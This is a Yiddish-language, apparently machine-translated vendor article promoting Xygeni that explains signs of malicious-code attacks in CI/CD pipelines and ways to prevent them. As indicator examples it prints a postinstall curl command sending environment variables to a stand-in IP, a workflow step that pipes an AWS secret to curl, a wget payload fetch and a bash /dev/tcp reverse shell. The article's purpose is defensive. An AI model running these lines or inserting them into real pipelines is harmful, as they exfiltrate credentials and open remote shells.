אויב איר אַרבעט אין CI/CD pipelineס, שרייבן אויטאמאטישע סקריפטן, אדער זיכערן מאדערנע בוי סיסטעמען, איז דערקענען שלעכטן קאוד נישט אפציאנאל; עס איז קריטיש פאר דער מיסיע. שלעכטע קאוד אטאקעס נוצן נישט נאר אויס אייער ראנטיים; זיי מאכן די בוי טריט, דריט-פארטיי פעקלעך, און אויטאמאטישע דזשאבס אויף וועלכע איר פארלאזט זיך יעדן טאג.
דיזער אַרטיקל אויספאָרשט וועלכע נאַטורן קענען אָנווייַזן אַ בייזוויליקן קאָד אַטאַק און ווי קען בייזוויליקן קאָד פאַרשפּרייטן, ספּעציעל אינעווייניק CI/CD סביבות. עס איז דיזיינד פֿאַר דעוועלאָפּערס און DevSecOps טימז פאַראַנטוואָרטלעך פֿאַר ווייכווארג סאַפּליי טשיינז, בויען אָטאַמאַציע, און זיכער דיפּלוימאַנט וואָרקפלאָוז. דורך פֿאַרשטיין די ינדיקאַטאָרן און אַטאַק וועקטאָרן, טימז קענען בעסער דעטעקטירן טרעץ און פֿאַרשטאַרקן זייער pipelineס קעגן קאמפראמיס.
איר וועט לערנען ווי אַטאַקערס אַריינלייגן סכנות אין אייער pipelines, וואָס סימפּטאָמען צו היטן אויף, און ווי בייזוויליקע קאָד קען שטילערהייט פֿאַרשפּרייטן זיך דורך רוטינע אויפֿגאַבן ווי דעפּענדענסי אינסטאַלאַציעס און וואָרקפלאָו אויטאָמאַציע. לאָמיר צעברעכן די סיגנאַלן, פֿון אומגעריכטע אַרויסגייענדיקע טראַפיק ביז שלעכטע פּי-אַרס וואָס מאַניפּולירן CI דזשאָבס, אַזוי איר קענט דעטעקטירן און נויטראַליזירן סכנות איידער זיי דערגרייכן פּראָדוקציע.
וואָס איז אַ בייזוויליקע קאָד אַטאַק?
א בייזוויליקע קאָד אַטאַק איז ווען שעדלעכע קאָד ווערט עקסעקוטירט אין דיין אַפּלאַקיישאַן, בילד pipeline, אדער ראַנטיים סביבה. מיר רעדן וועגן לאָגיק ספּעציפֿיש געשריבן צו:
- גנבענען סודות ווי API שליסלען און קרעדענשעלס
- מאַניפּולירן מיט בילדז אָדער שטופּן ינפעקטאַד אַרטיפאַקץ
- עפֿענען שעלז אָדער עקספֿילטרירן דאַטן
בייזוויליקער קאָד איז נישט נאָר אַ באַג. עס איז כוונה-געטריבן. און עס וואוינט אָפט אין דיין רעגולערע מכשירים: דיפּענדאַנסיז, CI דזשאָבס, אינסטאַלירן סקריפּטן.
פארוואס זאָלן דעוועלאָפּערס זאָרגן? ווייל די סכּנה קומט נישט שטענדיק פֿון עקסטערנע אַטאַקירער וואָס שלאָגן אײַערע APIs. בייזוויליקע קאָד פֿאַרשטעקט זיך אין וואָרקפֿלאָוז וואָס איר לויפט יעדן טאָג, ווי npm אינסטאַלס אָדער דאָקער בילדס. דאָס איז פּונקט ווי בייזוויליקע קאָד קען זיך פֿאַרשפּרייטן אין אַ פאַקטישער סעטאַפּ.
וועלכע פון די פאלגענדע קען ווייזן אויף א בייזוויליקן קאוד אטאקע? פראקטישע סימנים פאר דעוועלאפערס
אויב איר פרעגט זיך וועלכע פון די פאלגענדע קען ווייזן אויף א בייזוויליקן קאוד אטאקע, הייבט זיך די ענטפער אן מיט באמערקבארן אויפפירונג:
| אינדיקאַטאָר (סימפּטאָם) | בייַשפּיל | וואָרצל גרונט | טיפּ |
|---|---|---|---|
| אומגעריכטע ארויסגייענדיקע טראפיק פון בילדס | curl -X POST http://198.51.100.42 -d "$(env)" אין אַ פּאָסטינסטאַל סקריפּט | בייזוויליקע npm פּעקל | אמתער אינדיקאטאר |
| מאָדיפֿיצירטע אָדער פֿאַרשטעלטע טעקעס אין מקור רעפּאָזיטאָרס | פארדעקטע באזע64 אין .github/workflows/build.yml | צושטעל קייט קאָמפּראָמיס | אמתער אינדיקאטאר |
| סודות צוטריטלעך דורך אומגעריכטע דזשאבס | נישט באשטעטיגטע CI דזשאב ניצן ${{ secrets.AWS_SECRET_KEY }} | IAM מיסקאָנפיג אָדער ינדזשעקשאַן | אמתער אינדיקאטאר |
| פאַרקערט שאָל אָדער wget פּראָצעס אין בויען | bash -i >& /dev/tcp/... shellcode אין CI שריט | געטוישט pipeline שריפט | אמתער אינדיקאטאר |
| טיפּאָסקוואַטטעד פּעקל מיט אינסטאַל סקריפּט | lodashs or react-core-js לויפט אומגעריכטע קאָד | דעפּענדענסי צעמישונג | אמתער אינדיקאטאר |
| אַנלאַקט CI/CD פּערמישאַנז | אַלע דזשאָבס קענען צוטריט אַלע סודות | שוואַכע פעליקייַט קאָנפיגוראַציעס | שלעכטע פּראַקטיק (נישט קיין סיגנאַל) |
| מאַנגל פון טעקע אָרנטלעכקייט טשעקס | קיין וואָרענונגען ווען קאָנפיגוראַציע ענדערונגען | קיין מאָניטאָרינג | שלעכטע פּראַקטיק (נישט קיין סיגנאַל) |
אומגעריכטע ארויסגייענדיקע נעץ טראַפיק פֿון בילד Pipelines
סימפּטאָמס: אייערע CI דזשאבס רעדן פלוצלינג צו אומבאקאנטע עקסטערנע IP'ס אדער דאמעינס.
בייַשפּיל: א קאמפּראָמיטירטער פּאָסט-אינסטאַל סקריפּט ניצט קערל צו שיקן ענווייראָנמענט וועריאַבאַלן צו 198.51.100.42.
{
"scripts": {
"postinstall": "curl -X POST http://198.51.100.42 -d \"$(env)\""
}
}
שורש סיבה: א בייזוויליקע npm דעפּענדענסי צוגעגעבן צו package.json אדער געענדערטע CI סקריפּט.
טיפּ: אמתער אינדיקאטאר
ווי צו פאַרמייַדן:
בלאקירן ארויסגייענדיקע טראפיק דורך דיפאלט אין אייערע CI לויפער (למשל, ניצן פיירוואל רולס אדער אפזאגן-דורך-דיפאלט אויסגייענדיקע פאליסיס)
לייג צו א נעץ פאליסי צו ערלויבן נאר צוטריט צו ספעציפישע דאמעינען:
jobs:
build:
runs-on: ubuntu-latest
steps:
- name: Allowlist specific domains
run: iptables -A OUTPUT -p tcp -d github.com -j ACCEPT
מאָדיפֿיצירטע אָדער אומגעריכטע טעקעס אין קוואַל רעפּאָס
סימפּטאָמס: נייע טעקעס אדער סקריפּטן ווייַזן זיך אין קוואַל קאָנטראָל אָן אַ קלאָרע דערקלערונג.
בייַשפּיל: פארשטעלטע Base64 פּיילאָוד אַרייַנגעוואָרפן אין package-lock.json אָדער .github/workflows/build.yml
jobs:
build:
runs-on: ubuntu-latest
steps:
- name: Unauthorized secret access
run: echo ${{ secrets.AWS_SECRET_KEY }} | curl -X POST http://198.51.100.99
שורש סיבה: צושטעל קייט קאָמפּראָמיס דורך בייזע פּי-אַרס אָדער טאַמפּערד דיפּענדאַנסיז.
טיפּ: אמתער אינדיקאטאר
ווי צו פאַרמייַדן:
ניצן אויטאָמאַטישע טעקע אינטעגריטעט מאָניטאָרינג (למשל, Tripwire אדער Git) hooks מיט טשעקסום טשעקס)
דורכפירן מאַנועלע איבערבליק אויף וואָרקפלאָו און שלאָס טעקע ענדערונגען ניצנדיק GitHub CODEOWNERS:
.github/workflows/* @security-team
package-lock.json @devops-lead
וועריפיצירן טשעקסומס פון דערהייַנטיקטע דעפּענדענסיעס
אומגעוויינטלעכע קרעדענשאַל באַניץ פּאַטערנז
סימפּטאָמס: סודות ווערן צוטריט דורך אומגעריכטע באַניצער, סערוויסעס, אדער סטאַגעס אין דיין pipeline.
בייַשפּיל: סיקרעטס מענעדזשער לאגס ווייזן צוטריט פון א דזשאב וואס זאל נישט האבן צוטריט.
jobs:
build:
runs-on: ubuntu-latest
steps:
- name: Unauthorized secret access
run: echo ${{ secrets.AWS_SECRET_KEY }} | curl -X POST http://198.51.100.99
שורש סיבה: פאַלש קאָנפיגורירטע IAM פּאָליטיקס, ליעק קרעדענשאַלז, אָדער CI דזשאָב ינדזשעקשאַן.
טיפּ: אמתער אינדיקאטאר
ווי צו פאַרמייַדן:דורכפירן די מינדסטע פריווילעגיע אין צוטריט פּאָליטיקס (למשל, איין אַרבעט = איין סוד)
מאָניטאָרירן סודות צוטריט לאָגס און שטעלן אַרויף אַלערטינגז פֿאַר אַנאַמאַלעס נוצן
ניצט גיטהאב סביבה שוץ כּללים און סקאָפּעד סודות:
environments:
production:
protection_rules:
required_reviewers:
- security-team
- וואַלידירן ערוואַרטעטע אַרבעט נאַטור ניצן אויטאָמאַטישע פּאָליטיק טשעקס (למשל, OPA/Gatekeeper)
אומגעוויינטלעכע פּראָצעס אויספֿירונג אין CI/CD אדער לויף-צייט
סימפּטאָמס: בויטס אדער דיפּלוייד אַפּפּס אָנהייבן אומגעריכטע פּראָצעסן.
בייַשפּיל: bash -c \"wget http://malicious.site/payload.sh\" דערשיינט בעת בויען.
steps:
- name: Suspicious shell execution
run: bash -i >& /dev/tcp/malicious.site/4444 0>&1
שורש סיבה: אינדזשעקטעד סקריפּטן, פאַרקערטע שעלז, אָדער טאַמפּערד pipeline טריט.
טיפּ: אמתער אינדיקאטאר
ווי צו פאַרמייַדן:ניצן ערלויבטע ליסטעס פאר באפעלן (למשל, באגרענעצן צו באשטעטיגטע בויען געצייג נאר)
פארשפארט פראצעס מעגלעכקייטן אין CI דורך לויפן דזשאבס אין מינימאלע קאנטעינערס:
jobs:
build:
container:
image: secure-ci-image:latest
options: --cap-drop=ALL --no-new-privileges
- סקענען פֿאַר שאָל נוצן און באַקאַנטע שלעכטע פּאַטערנז ניצן CI-ינטעגרירטע לינטערס און SAST
קאָמפּראָמיטירטע דעפּענדענסיעס וואָס דורכפירן בייזוויליקע קאָד
סימפּטאָמס: אינסטאַלירן סקריפּטן אדער דערהייַנטיקונגען לויפן נישט-אויטאָריזירטן קאָד אָן אייער כוונה.
בייַשפּיל: א טיפּאָסקוואַטעד פּעקל ווי lodashs or react-core-js לויפט אַ בייזוויליקן פאַר-אינסטאַליר הוק.
שורש סיבה: צעמישונג וועגן אָפּהענגיקייט אָדער נוצן פון נישט-פאַרטרויטע רעגיסטריז.
טיפּ: אמתער אינדיקאטאר
ווי צו פאַרמייַדן:
שלאָס דיפּענדאַנסיז מיט SBOM וואַלידאַציע און האַש פּינינג:
npm ci --prefer-offline --no-audit --ignore-scripts
נוצן
.npmrcor.yarnrc.ymlצו לייגן צו דער ווייסער ליסטע פון באשטעטיגטע רעגיסטערס:
registry=https://registry.npmjs.org/
always-auth=true
קעסיידער קאָנטראָלירן פּאַקאַדזשאַז ניצנדיק SCA מכשירים ווי Xygeni, OSV-Scanner, אדער Dependabot
אַנטדעקן די בעסטע אָפֿן מקור מאַלוואַרע שוץ
באַשיצט אייער אָפֿן-קוואַל ווייכווארג פֿון אויפֿקומענדיקע געפֿאַרן!
ווי קען בייזוויליקע קאָד פֿאַרשפּרייטן זיך אין דעוועלאָפּער וואָרקפֿלאָווס?
פֿאַרשטיין ווי שלעכטע קאָד קען זיך פֿאַרשפּרייטן העלפֿט אײַך עס אָפּצושניידן איידער עס קומט אין פּראָדוקציע:
- קאָמפּראָמיטירטע אָפֿן-קוואַל פּאַקאַדזשאַז (למשל, ינפעקטירטע npm/PyPI מאָדולן)
- בייזע pull requests מיט באַהאַלטענע פּיילאָודז אין וואָרקפלאָוז
- CI/CD מיסקאָנפֿיגוראַציעס (למשל, נישט-וועריפֿיצירטע פּי-אַרס וואָס פֿירן אויס דזשאָבס)
- אינסיידער טרעץ זענען עמבעדדינג באַקטאָרס בעשאַס נאָרמאַל אַנטוויקלונג
דאָס זענען אַלע וועקטאָרן פון ווי אַזוי בייזוויליקע קאָד קען זיך פֿאַרשפּרייטן אָן צו אַקטיוויירן טראדיציאָנעלע וואָרענונגען.
ווי אזוי צו דעטעקטירן און פאַרהיטן בייזוויליקע קאָד אין Pipelineס און קאָדבאַזעס
שנעלע דעטעקציע טשעקליסט פֿאַר בייזוויליקע קאָד אינדיקאַטאָרן
| אָפּפירונג | דעטעקשאַן טול | CI/CD שפּיץ |
|---|---|---|
| אומגעריכטע נעץ פארלאנגען | נאַטור מאָניטאָרינג, אַרויסגאַנג לאָגס | אָפּלייקענען IP אַדרעסן, קאָנטראָלירן קרול/wget באַניץ |
| YAML אדער לאק טעקע טאַמפּערינג | טעקע אינטעגריטעט טראַקינג, גיט דיפס | דורכפירן קאָד אייגנטימער, וואָרענען וועגן שליסל טעקע ענדערונגען |
| אומגעוויינטלעכער געהיימער צוטריט | געהיימע צוטריט לאָגס, IAM וואָרענונגען | ניצן פֿאַרשפּרייטע סודות, דורכפֿירן די מינדסטע פּריווילעגיע |
| שאָל אויספירונג אדער פאַרקערטע שאָלן | SAST, סקענען די ערלויבעניש ליסטע | באַגרענעצן שאָל נוצן אין בילד סקריפּטן |
| פארדעכטיקע אפהענגיקייטן | SCA, SBOM validation | ניצט פארשפארטע העשעס און טראסטעד רעגיסטריז |
וואַרט נישט אויף פּראָדוקציע וואָרענונגען. דאָ איז ווי דעוועלאָפּערס און DevSecOps טימז קענען פּראָאַקטיוו דעטעקטירן אַ בייזוויליקע קאָד אַטאַק:
- נאַטור מאָניטאָרינג: כאַפּן אומגעוויינטלעכע פּראָצעס אויספֿירונג, נעץ רופן, אָדער טעקע ענדערונגען אין CI/CD.
- אפהענגיקייט קאנטראל: נוצן SBOMס און שטרענגע ערלויבעניש-ליסטן צו בלאקירן נישט-וועריפיצירטע ביבליאטעקן.
- טעקע אָרנטלעכקייט טראַקינג: דעטעקטירן נישט-אויטאריזירטע סקריפּטן אדער קאָנפיג טעקע ענדערונגען.
- ארויסגאַנג באַגרענעצונגען: פאַרהיטן בוי-צייט עקספילטראַציע דורך אַנאַליזירן און בלאָקירן אַוטבאַונד טראַפיק.
- סטאַטישע און דינאַמישע אַנאַליז: אויטאמאטיזירן טשעקס פאר פארדעכטיגע לאגיק, שאָל אינוואקאציעס, אדער ענקאָודינגס אין אייער pipelines.
מער ספּאַסיפיקלי:
- סטאַטישע אַפּליקאַציע זיכערהייט טעסטינג (SAST): קען דעטעקטירן בייזוויליקע לאָגיק אָדער פֿאַרשטעלטע קאָד (למשל, פֿאַרבאָרגענע base64, פֿאַרדעכטיקע שאָל ינוואָוקיישאַנז) איידער עס ווערט בכלל אויסגעפירט. אינטעגרירן SAST מכשירים אין דיין CI/CD וואָרקפלאָוז העלפֿן צו באַמערקן הויך-ריזיקירן פּאַטערנז אין pull requests און commits.
- ווייכווארג קאמפאזיציע אנאליז (SCA): אידענטיפיצירט באַקאַנטע שוואַכע אָדער בייזע פּאַקאַדזשאַז בעת דעם דעפּענדענסי רעזאָלוציע פּראָצעס. SCA מכשירים העלפֿן אײַך בלאָקירן טיפּאָסקוואַטעד אָדער באַקדאָרד פּאַקאַדזשאַז בײַ דער אינסטאַלאַציע צײַט, איידער זיי קומען אַרײַן אין אײַער סביבה.
אלע פון די העלפן ענטפערן די פראגע: וועלכע פון די פאלגענדע קען ווייזן אויף א בייזוויליקן קאוד אטאקע, און וועלכע זענען נאר מאדנע גערוישן.
פאַקטישע אינצידענטן פון וועלכע דעוועלאָפּערס זאָלן לערנען
איר דאַרפט נישט קיין היפּאָטעטישע זאַכן; די בייזוויליגע קאָד אַטאַקעס זענען שוין געשען, און יעדער איינער אָפפערט קריטישע לעקציעס:
- מייקראָסאָפֿט, עפּל: געטראָפן דורך דעפּענדענסי צעמישעניש, אָפּגענאַרט צו ציען אינערלעכע פּאַקאַדזשאַז פון עפנטלעכע רעגיסטריז.
טאַקעאַווייַ: ניצט פּריוואַטע רעגיסטריז און קאָנפיגורירט סקאָפּט פּאַקאַדזש רעזאָלוציע צו פאַרמייַדן דעפּענדענסי צעמישונג. - ua-פּאַרסער-דזשעי: פּאָפּולער npm פּעקל קאָמפּראָמיטירט צו דיפּלויען קריפּטאָ מיינערס.
טאַקעאַווייַ: נוצן SBOM וואַלידאַציע און CI דעפּענדענסי פּינינג צו ויסמיידן אַנוועראַפייד פּעקל דערהייַנטיקונגען. - טיפּאָסקוואַטינג אויף PyPI: בייזוויליקע פּעקלעך מיט נעמען ווי עכטע (למשל, urlib3) צו פארשפרייטן אינפארמאציע-גנבים.
טאַקעאַווייַ: Integrate SCA מכשירים צו דעטעקטירן נאָמען-ענלעכע פּאַקאַדזשאַז און וואַלידירן דיפּענדאַנסיז איידער ינסטאַלירונג. - גיטהאב PRs: אַטאַקערס האָבן אַריינגעגעבן PRs וואָס האָבן שטילערהייט מאָדיפֿיצירט CI וואָרקפֿלאָוז צו leak secrets.
טאַקעאַווייַ: דורכפירן שטרענגע פּי-אַר אָפּשאַצונגען פֿאַר וואָרקפלאָו טעקעס און נוצן קאָדאָונערס פֿאַר CI קאָנפיג ענדערונגען.
יעדער פאַל ווייזט ווי בייזוויליקע קאָד קען זיך פֿאַרשפּרייטן אין דעוועלאָפּער סביבות איידער עס דערגרייכט פּראָדוקציע, און אונטערשטרייכט פּראַקטישע פּראַקטיקעס צו זיי אָפּשטעלן פֿרי.
מסקנא: דעוועלאָפּערס קאָנטראָלירן די פראָנטליניע קעגן בייזוויליקע קאָד
א בייזוויליקע קאָד אַטאַקע מיינט נישט שטענדיק אַ דורכבראָך פֿון דרויסן. מאַנטשמאָל באַהאַלט זיך דער אַטאַקירער אין אייער nאָדע_מאָדולן, דיין פּעקל-lock.json, אָדער דיין .github/workflows טעקע.
וועלכע פון די פאלגענדע קען ווייזן אויף א בייזוויליקן קאוד אטאקע? די ענטפער ליגט אין די טעגליכע סיגנאלן וואס אייער קאוד און געצייג ארויסלאזן.
פאַרמאָגן דיין CI/CD. היט אייערע אפהענגיקייטן. מארקירט מאָדנע נאַטורן. וואָס פריער איר דעטעקטירט, אַלץ ווייניקער פֿאַרשפּרייט עס זיך.
ווי Xygeni העלפט דעטעקטירן און בלאקירן בייזוויליגע קאוד אטאקעס איבער DevOps
ווען מאַלווער פֿאַרשפּרייט זיך דורך אייער ווייכווארג צושטעל קייט, איז עס אָפט צו שפּעט ווען עס דערגרייכט פּראָדוקציע. דעריבער איז פרי, אויטאָמאַטיש דעטעקציע וויכטיק. Xygeni's פרי ווארענונג סיסטעם איז דיזיינד צו כאַפּן בייזוויליקע פּאַקאַדזשאַז איידער זיי קענען אָנשטעקן דיין קאָדבאַזע, CI/CD pipelineס, אדער וואָלקן סביבות.
דאָ ס ווי קסיגעני פארשטארקט אייערע פארטיידיקונגען:
רעאַל-צייט פרי וואָרענונג קעגן נול-טאָג מאַלוואַרע
אנדערש ווי טראדיציאנעלע סקענערס וואס פארלאזן זיך נאר אויף CVEs, קאנטראלירט Xygeni קאנטינעווירלעך פובליק רעגיסטריז ווי npm, PyPI, Maven, און NuGet פאר פארדעכטיגע אויפפירונגען און מעטאדאטא אנאמאליעס. אזוי שנעל ווי א פעקל ווייזט סימנים פון בייזוויליגע טעטיקייט, ווערט עס געצייכנט, קוואראנטירט, און געבלאקט פון אריינגיין אין אייער... SDLC.
- דעטעקטירט מאַלוואַרע אין מאָמענט פון פּובליקאַציע
- בלאָקירט אויטאָמאַטיש נול-טאָג פּיילאָודז און פֿאַרדעכטיקע אינסטאַלירן hooks
- שיקט רעאַל-צייט וואָרענונגען צו דעוואָפּס טימז פֿאַר שנעל טריאַזש
מאַלוואַרע שוץ איינגעבויט אין יעדער דעוואָפּס בינע
צי עס איז פארשטעקטע קאוד אין א פאסט-אינסטאל סקריפט, א קריפטא-גנב באהאלטן אין א טראנזיטיוו דעפענדענסי, אדער א טראדזשאניזירט קאנטעינער בילד, קסיגעני ווענדט אן מולטי-שיכטיגע מאלווער דעטעקציע איבער קאוד, דעפענדענסיעס, CI/CD, און IaC:
- סטאַטישע אַנאַליז וואָס פֿאָנעקט באַקטירן, טראָדזשאַנס און פֿאַרשטעלטע פּיילאָודז איידער דיפּלוימאַנט
- דעפּענדענסי פיירוואַל וואָס בלאָקירט טראָדזשאַניזירטע פּאַקאַדזשאַז מיט בייזע ינסטאַלירונג סקריפּטן
- CI/CD שוץ וואָס פאַרהיט פאַרקערטע שעלז און באַפֿעל ינדזשעקשאַנז אין דיין pipelines.
Guardrails און קאַראַנטין צו האַלטן די פאַרשפּרייטונג
Xygeni דעטעקטירט נישט נאָר מאַלווער, עס שטעלט עס אָפּ. ווען אַ קאָמפּראָמיטירט פּעקל ווערט אַנטדעקט:
- עס ווערט גלייך קוואראנטירט כדי צו פארמיידן קאנטאמינאציע בעתן בויען
- דייַן pipelineקען אויטאמאטיש צוברעכן דעם בילד ניצנדיק Xygeni'ס קאנפיגורירבארע זיכערהייט פאליסיס
- די באַטראָפענע ווערסיעס זענען אויף דער שוואַרצער ליסטע, אפילו פֿון אינערלעכע אָדער פּריוואַטע רעגיסטריז
אויספאָרשן און בלייבן אינפאָרמירט
Xygeni גיט א פולע אוידיט טרעיל און היסטארישע זוכעניש פון בייזע פעקלעך. איר וועט וויסן:
- ווען די דראָאונג איז געוואָרן פאַרעפֿנטלעכט
- ווי עס איז דעטעקטירט געוואָרן
- צי עס האט דערגרייכט קיין טייל פון אייערע סיסטעמען
דערצו, באשטעטיקטע סכנות ווערן עפנטלעך ארויסגעגעבן צו באשיצן די ברייטערע אפן-קוואל קהילה און פארמיידן מאלווער פון ווידער אויפקומען אין איבערגענומענע אדער פארגאקלטע פעקלעך.
לאָזט נישט מאַלווער דורכגיין דורך די ריסן
פֿון שטילע קריפּטאָ-מינערס ביז טיפּאָסקוואַטירטע אינפֿאָרמאַציע-גנבֿים, בייזוויליגע קאָד אַטאַקעס אַנטוויקלען זיך שנעלXygeni'ס פרי ווארענונג סיסטעם זיכערט אז מאלוועיר גייט קיינמאל נישט אריבער אייערע אנטוויקלונג, בויען, אדער דיפּלוימענט סטאַגעס און אז אייער מאַנשאַפֿט איז אַלערטירט און פּראָטעקטעד אין פאַקטישער צייט.
הייבט אן אייער פרייע פראבע יעצט און באשיצט אייערע דעוואפס pipeline איידער דער נעקסטער אטאקע קומט!
